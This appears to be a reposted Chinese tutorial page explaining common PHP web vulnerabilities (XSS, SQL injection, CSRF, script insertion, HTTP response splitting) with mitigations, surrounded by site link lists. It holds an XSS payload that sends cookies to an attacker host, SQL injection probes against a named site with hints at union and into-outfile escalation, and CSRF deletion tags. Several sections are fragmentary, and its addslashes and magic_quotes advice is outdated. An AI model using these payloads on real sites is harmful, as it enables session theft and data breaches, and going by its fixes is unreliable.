PHP漏洞全解(详细介绍) 2015-01-25 来源:网络 字号:大 中 小 我要评论 收藏本文
针对PHP的网站主要存在下面几种攻击方式: eval注入攻击 动态函数 防范方法 客户端脚本植入 客户端脚本植入(Script Insertion),是指将可以执行的脚本插入到表单、图片、动画或超链接文字等对象内。当用户打开这些对象后,攻击者所植入的脚本就会被执行,进而开始攻击。 客户端脚本植入的攻击步骤 实例 提交下图的留言 浏览此留言的时候会执行js脚本 防范的方法
XSS跨站脚本攻击
XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS 当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似 http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script> ,诱骗用户点击后,可以获取用户cookies值 $_SERVER["PHP_SELF"]变量的跨站
SQL注入攻击
SQL注入攻击(SQL Injection),是攻击者在表单中提交精心构造的sql语句,改动原来的sql语句,如果web程序没有对提交的数据经过检查,那么就会造成sql注入攻击。 SQL注入攻击的一般步骤: 1、攻击者访问有SQL注入漏洞的站点,寻找注入点 2、攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的sql语句 3、新的sql语句被提交到数据库中执行 处理 4、数据库执行了新的SQL语句,引发SQL注入攻击 实例 数据库 CREATE TABLE `postmessage` ( `id` int(11) NOT NULL auto_increment, `subject` varchar(60) NOT NULL default ”, `name` varchar(40) NOT NULL default ”, `email` varchar(25) NOT NULL default ”, `question` mediumtext NOT NULL, `postdate` datetime NOT NULL default '0000-00-00 00:00:00′, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='运用者的留言' AUTO_INCREMENT=69 ; grant all privileges on ch3.* to ‘sectop'@localhost identified by '123456′; //add.php 插入留言 //list.php 留言列表 //show.php 显示留言 页面 http://www.netsos.com.cn/show.php?id=71 可能存在注入点,我们来测试 http://www.netsos.com.cn/show.php?id=71 and 1=1 返回页面
提交 一次查询到记录,一次没有,我们来看看源码 //show.php 12-15行 // 执行mysql查询语句 $query = "select * from postmessage where id = ".$_GET["id"]; $result = mysql_query($query) or die("执行ySQL查询语句失败:" . mysql_error()); 参数id传递进来后,和前面的字符串结合的sql语句放入数据库执行 查询 提交 and 1=1,语句变成select * from postmessage where id = 71 and 1=1 这语句前值后值都为真,and以后也为真,返回查询到的数据 提交 and 1=2,语句变成select * from postmessage where id = 71 and 1=2 这语句前值为真,后值为假,and以后为假,查询不到任何数据 正常的SQL查询,经过我们构造的语句之后,形成了SQL注入攻击。通过这个注入点,我们还可以进一步拿到权限,比如说运用 union读取管理密码,读取数据库信息,或者用mysql的load_file,into outfile等函数进一步渗透。 防范方法 整型参数: 运用 intval函数将数据转换成整数 函数原型 int intval(mixed var, int base) var是要转换成整形的变量 base,可选,是基础数,默认是10 浮点型参数: 运用 floatval或doubleval函数分别转换单精度和双精度浮点型参数 函数原型 int floatval(mixed var) var是要转换的变量 int doubleval(mixed var) var是要转换的变量 字符型参数: 运用 addslashes函数来将单引号“'”转换成“\'”,双引号“"”转换成“\"”,反斜杠“\”转换成“\\”,NULL字符加上反斜杠“\” 函数原型 string addslashes (string str) str是要检查的字符串 那么刚才出现的代码漏洞,我们可以这样修补 // 执行mysql查询语句 $query = "select * from postmessage where id = ".intval($_GET["id"]); $result = mysql_query($query) or die("执行ySQL查询语句失败:" . mysql_error());
如果是字符型,先判断magic_quotes_gpc能无法 为On,当不为On的时候运用 addslashes转义特殊字符 if(get_magic_quotes_gpc()) { $var = $_GET["var"]; } else { $var = addslashes($_GET["var"]); } 再次测试,漏洞已经修补
垮网站伪造请求
CSRF(Cross Site Request Forgeries),意为跨网站请求伪造,也有写为XSRF。攻击者伪造目标用户的HTTP请求,然后此请求发送到有CSRF漏洞的网站,网站执行此请求后,引发跨站请求伪造攻击。攻击者利用隐蔽的HTTP连接,让目标用户在不注意的情况下单击这个链接,由于是用户自己点击的,而他又是合法用户拥有合法权限,所以目标用户能够在网站内执行特定的HTTP链接,从而达到攻击者的目的。 实例 任意删除留言 <img src="delbook.php?id=3" /> <img src="delbook.php?id=4" /> <img src="delbook.php?id=5" /> 防范方法 if($_GET["act"]) …… <input type="reset" name="Submit2" value="重 置">
http响应拆分
HTTP请求的格式 1)请求信息:例如“Get /index.php HTTP/1.1”,请求index.php文件 2)表头:例如“Host: localhost”,表示服务器地址 3)空白行 4)信息正文 “请求信息”和“表头”都必须使用换行字符(CRLF)来结尾,空白行只能包含换行符,不可以有其他空格符。 下面例子发送HTTP请求给服务器www.yhsafe.com GET /index.php HTTP/1.1↙ //请求信息 Host:www.yhsafe.com↙ //表头 ↙ //空格行
↙
↙符号表示回车键,在空白行之后还要在按一个空格才会发送HTTP请求,HTTP请求的表头中只有Host表头是必要的饿,其余的HTTP表头则是根据HTTP请求的内容而定。
HTTP请求的方法
1)GET:请求响应
2)HEAD:与GET相同的响应,只要求响应表头
3)POST:发送数据给服务器处理,数据包含在HTTP信息正文中
4)PUT:上传文件
5)DELETE:删除文件
6)TRACE:追踪收到的请求
7)OPTIONS:返回服务器所支持的HTTP请求的方法
8)CONNECT:将HTTP请求的连接转换成透明的TCP/IP通道
HTTP响应的格式
服务器在处理完客户端所提出的HTTP请求后,会发送下列响应。
1)第一行是状态码
2)第二行开始是其他信息
状态码包含一个标识状态的数字和一个描述状态的单词。例如:
HTTP/1.1 200 OK
200是标识状态的是数字,OK则是描述状态的单词,这个状态码标识请求成功。 HTTP请求和响应的例子 打开cmd输入telnet,输入open www.00aq.com 80 打开连接后输入 GET /index.php HTTP/1.1↙ Host:www.00aq.com↙ ↙
↙
![]() 返回HTTP响应的表头
返回的首页内容 使用PHP来发送HTTP请求 header函数可以用来发送HTTP请求和响应的表头 函数原型 void header(string string [, bool replace [, int http_response_code]]) |
相关热词搜索:PHP漏洞
上一篇:使用 PHPMAILER 发送邮件实例应用
下一篇:PHP gbk环境下json_dencode传送来的汉字
看完本文,您的心情是?
评论排行
- ·如何清除DNS缓存 使用命令清理dns缓存方法(2)
- ·Win8.1升级Win10遇到错误代码0xc190010...(1)
- ·Windows RT 8.1 Update 3九月发布 ...(0)
- ·如何将ubuntu安装到U盘实现即插即用(0)
- ·微软否认Xbox One有远程关闭开关(0)
- ·Surface Book详细拆解:千万不要自己动手修(0)
- ·WIN10免费升级正版手册(5分钟读懂WIN10...(0)
- ·你的今日头条账号为什么会被封?(0)
- ·win7电脑怎么翻墙看国外的网站?(0)
- ·shell脚本运行5秒后自动退出的代码(0)
- ·jsp 不支持EL表达式,解决办法(0)
- ·table合并单元格与img图片铺满整个td的html(0)
- ·Mac OS X 系统备份指南(0)
- ·Shell脚本注释写法(0)
- ·windows8激活码、序列号、激活密钥、激...(0)
- ·从一个不错的留言本弄的mysql数据库操作类(0)
- ·PHP漏洞全解(详细介绍)(0)
- ·phpBB BBcode处理的漏洞(0)
- ·安装Win10技术预览版有风险吗?win10预...(0)
- ·基于mysql的论坛(6)(0)
猜你喜欢
- ·PHP isset()与empty()的使用区别详解
- ·PHP不用递归实现无限分级的例子分享
- ·PHP垃圾回收机制简单说明
- ·PHP性能优化工具篇Benchmark类调试执行时间
- ·ThinkPHP3.1新特性之字段合法性检测详解
- ·php操作mysql数据库的基本类代码
- ·php微信公众号开发(2)百度BAE搭建和数据...
- ·浅析十款PHP开发框架的对比
- ·php面向对象全攻略 (十) final stat...
- ·php allow_url_include的应用和解释
- ·PHP中echo,print_r与var_dump区别分析
- ·关于PHP内存溢出问题的解决方法
- ·php 生成短网址原理及代码
- ·php实现的ping端口函数实例
- ·php分页代码学习示例分享
- ·PHP daddslashes 使用方法介绍
热门推荐
- ·PHP date函数参数详解
- ·PHP 5.3新增魔术方法__invoke概述
- ·php生成无限栏目树
- ·PHP中怎样防止SQL注入分析
- ·ThinkPHP调用百度翻译类实现在线翻译
- ·探讨php中header的用法详解
- ·整理的9个实用的PHP库简介和下载
- ·PHP中一个控制字符串输出的函数
- ·php控制linux服务器常用功能 关机 重启 开新站点等
- ·php 使用file_get_contents读取大文件的方法
- ·php FLEA中二叉树数组的遍历输出
- ·打造计数器DIY三步曲(上)
- ·php使用pdo连接mssql server数据库实例
- ·php桌面中心(三) 修改数据库
- ·一个php作的文本留言本的例子(五)
本月排行
最近更新
- ·PHP递归实现无限级分类
- ·PHP改进计算字符串相似度的函数similar_text()、levenshtein()
- ·PHP启动windows应用程序、执行bat批处理、执行cmd命令的方法(exec、system函数详解)
- ·PHP的mysqli_query参数MYSQLI_STORE_RESULT和MYSQLI_USE_RESULT的区别
- ·PHP错误Warning: Cannot modify header information - headers already sent by解决方法
- ·PHP正则替换函数preg_replace和preg_replace_callback使用总结
- ·PHP PDOStatement对象bindpram()、bindvalue()和bindcolumn之间的区别
- ·CodeIgniter错误mysql_connect(): No such file or directory解决方法
- ·PHP JSON出错:Cannot use object of type stdClass as array解决方法
- ·PHP遍历目录函数opendir()、readdir()、closedir()、rewinddir()总结
- ·phpmyadmin出现Cannot start session without errors问题解决方法
- ·Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 2611816 bytes)
- ·PHP执行Curl时报错提示CURL ERROR: Recv failure: Connection reset by peer的解决方法
- ·php中使用session_set_save_handler()函数把session保存到MySQL数据库实例
- ·PHP错误Parse error: syntax error, unexpected end of file in test.php on line 12解决方法
- ·thinkphp视图模型查询提示ERR: 1146:Table 'db.pr_order_view' doesn't exist的解决方法
- ·浅析application/x-www-form-urlencoded和multipart/form-data的区别
- ·PHP 面向对象程序设计(oop)学习笔记(一) - 抽象类、对象接口、instanceof 和契约式编程
- ·PHP 正则表达式之正则处理函数小结(preg_match,preg_match_all,preg_replace,preg_split)
- ·Fatal error: session_start(): Failed to initialize storage module: files问题解决方法